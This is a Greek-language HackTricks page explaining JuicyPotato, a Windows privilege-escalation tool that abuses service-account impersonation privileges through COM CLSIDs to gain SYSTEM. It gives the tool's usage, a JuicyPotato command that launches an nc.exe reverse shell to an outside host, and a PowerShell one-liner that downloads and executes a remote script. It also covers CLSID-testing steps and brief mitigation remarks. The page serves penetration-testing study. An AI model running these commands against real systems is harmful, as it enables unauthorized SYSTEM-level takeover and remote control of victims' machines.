JuicyPotato

Reading time: 7 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

[!WARNING] > Το JuicyPotato δεν λειτουργεί σε Windows Server 2019 και Windows 10 build 1809 και μετά. Ωστόσο, PrintSpoofer, RoguePotato, SharpEfsPotato μπορούν να χρησιμοποιηθούν για να εκμεταλλευτούν τα ίδια δικαιώματα και να αποκτήσουν πρόσβαση επιπέδου NT AUTHORITY\SYSTEM. Ελέγξτε:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

Juicy Potato (κατάχρηση των χρυσών δικαιωμάτων)

Μια γλυκιά έκδοση του RottenPotatoNG, με λίγο χυμό, δηλαδή ένα άλλο εργαλείο Τοπικής Κατάχρησης Δικαιωμάτων, από Λογαριασμούς Υπηρεσιών Windows σε NT AUTHORITY\SYSTEM

Μπορείτε να κατεβάσετε το juicypotato από https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts

Περίληψη

Από το juicy-potato Readme:

RottenPotatoNG και οι παραλλαγές του εκμεταλλεύονται την αλυσίδα κατάχρησης δικαιωμάτων βασισμένη σε BITS υπηρεσία έχοντας τον MiTM listener στο 127.0.0.1:6666 και όταν έχετε δικαιώματα SeImpersonate ή SeAssignPrimaryToken. Κατά τη διάρκεια μιας ανασκόπησης build Windows βρήκαμε μια ρύθμιση όπου το BITS είχε απενεργοποιηθεί σκόπιμα και η θύρα 6666 είχε καταληφθεί.

Αποφασίσαμε να οπλοποιήσουμε RottenPotatoNG: Πείτε γεια στο Juicy Potato.

Για τη θεωρία, δείτε Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM και ακολουθήστε την αλυσίδα των συνδέσμων και αναφορών.

Ανακαλύψαμε ότι, εκτός από το BITS, υπάρχουν αρκετοί COM servers που μπορούμε να καταχραστούμε. Απλά χρειάζεται να:

  1. είναι δυνατό να δημιουργηθούν από τον τρέχοντα χρήστη, κανονικά έναν “χρήστη υπηρεσίας” που έχει δικαιώματα κατάχρησης
  2. να υλοποιούν τη διεπαφή IMarshal
  3. να εκτελούνται ως ανυψωμένος χρήστης (SYSTEM, Διαχειριστής, …)

Μετά από κάποιες δοκιμές αποκτήσαμε και δοκιμάσαμε μια εκτενή λίστα από ενδιαφέροντα CLSID’s σε πολλές εκδόσεις Windows.

Juicy λεπτομέρειες

Το JuicyPotato σας επιτρέπει να:

  • Στόχος CLSID επιλέξτε οποιοδήποτε CLSID θέλετε. Εδώ μπορείτε να βρείτε τη λίστα οργανωμένη κατά OS.
  • Θύρα Listening COM ορίστε τη θύρα listening COM που προτιμάτε (αντί της σκληροκωδικοποιημένης 6666)
  • Διεύθυνση IP Listening COM δεσμεύστε τον server σε οποιαδήποτε IP
  • Λειτουργία δημιουργίας διεργασίας ανάλογα με τα δικαιώματα του χρήστη που έχει καταχραστεί μπορείτε να επιλέξετε από:
  • CreateProcessWithToken (χρειάζεται SeImpersonate)
  • CreateProcessAsUser (χρειάζεται SeAssignPrimaryToken)
  • και τα δύο
  • Διεργασία προς εκκίνηση εκκινήστε ένα εκτελέσιμο ή σενάριο αν η εκμετάλλευση είναι επιτυχής
  • Επιχείρημα Διεργασίας προσαρμόστε τα επιχειρήματα της εκκινούμενης διεργασίας
  • Διεύθυνση RPC Server για μια κρυφή προσέγγιση μπορείτε να πιστοποιηθείτε σε έναν εξωτερικό RPC server
  • Θύρα RPC Server χρήσιμη αν θέλετε να πιστοποιηθείτε σε έναν εξωτερικό server και το firewall μπλοκάρει τη θύρα 135
  • ΛΕΙΤΟΥΡΓΙΑ ΔΟΚΙΜΗΣ κυρίως για δοκιμαστικούς σκοπούς, δηλαδή δοκιμή CLSIDs. Δημιουργεί το DCOM και εκτυπώνει τον χρήστη του token. Δείτε εδώ για δοκιμή

Χρήση

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

Τελικές σκέψεις

Από το juicy-potato Readme:

Εάν ο χρήστης έχει δικαιώματα SeImpersonate ή SeAssignPrimaryToken, τότε είστε SYSTEM.

Είναι σχεδόν αδύνατο να αποτραπεί η κακή χρήση όλων αυτών των COM Servers. Μπορείτε να σκεφτείτε να τροποποιήσετε τα δικαιώματα αυτών των αντικειμένων μέσω του DCOMCNFG, αλλά καλή τύχη, αυτό θα είναι προκλητικό.

Η πραγματική λύση είναι να προστατεύσετε ευαίσθητους λογαριασμούς και εφαρμογές που εκτελούνται υπό τους λογαριασμούς * SERVICE. Η διακοπή του DCOM θα εμπόδιζε σίγουρα αυτή την εκμετάλλευση, αλλά θα μπορούσε να έχει σοβαρό αντίκτυπο στο υποκείμενο λειτουργικό σύστημα.

Από: http://ohpe.it/juicy-potato/

Παραδείγματα

Σημείωση: Επισκεφθείτε αυτή τη σελίδα για μια λίστα με CLSIDs που να δοκιμάσετε.

Πάρτε ένα nc.exe reverse shell

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Powershell rev

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

Εκκίνηση νέου CMD (αν έχετε πρόσβαση RDP)

Προβλήματα CLSID

Συχνά, το προεπιλεγμένο CLSID που χρησιμοποιεί το JuicyPotato δεν λειτουργεί και η εκμετάλλευση αποτυγχάνει. Συνήθως, απαιτούνται πολλές προσπάθειες για να βρείτε ένα λειτουργικό CLSID. Για να αποκτήσετε μια λίστα με CLSIDs για να δοκιμάσετε για ένα συγκεκριμένο λειτουργικό σύστημα, θα πρέπει να επισκεφθείτε αυτή τη σελίδα:

Windows CLSID | juicy-potato

Έλεγχος CLSIDs

Αρχικά, θα χρειαστείτε μερικά εκτελέσιμα αρχεία εκτός από το juicypotato.exe.

Κατεβάστε Join-Object.ps1 και φορτώστε το στη συνεδρία PS σας, και κατεβάστε και εκτελέστε GetCLSID.ps1. Αυτό το σενάριο θα δημιουργήσει μια λίστα με πιθανά CLSIDs για δοκιμή.

Στη συνέχεια, κατεβάστε test_clsid.bat (αλλάξτε τη διαδρομή στη λίστα CLSID και στο εκτελέσιμο juicypotato) και εκτελέστε το. Θα αρχίσει να δοκιμάζει κάθε CLSID, και όταν αλλάξει ο αριθμός θύρας, θα σημαίνει ότι το CLSID λειτούργησε.

Ελέγξτε τα λειτουργικά CLSIDs χρησιμοποιώντας την παράμετρο -c

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks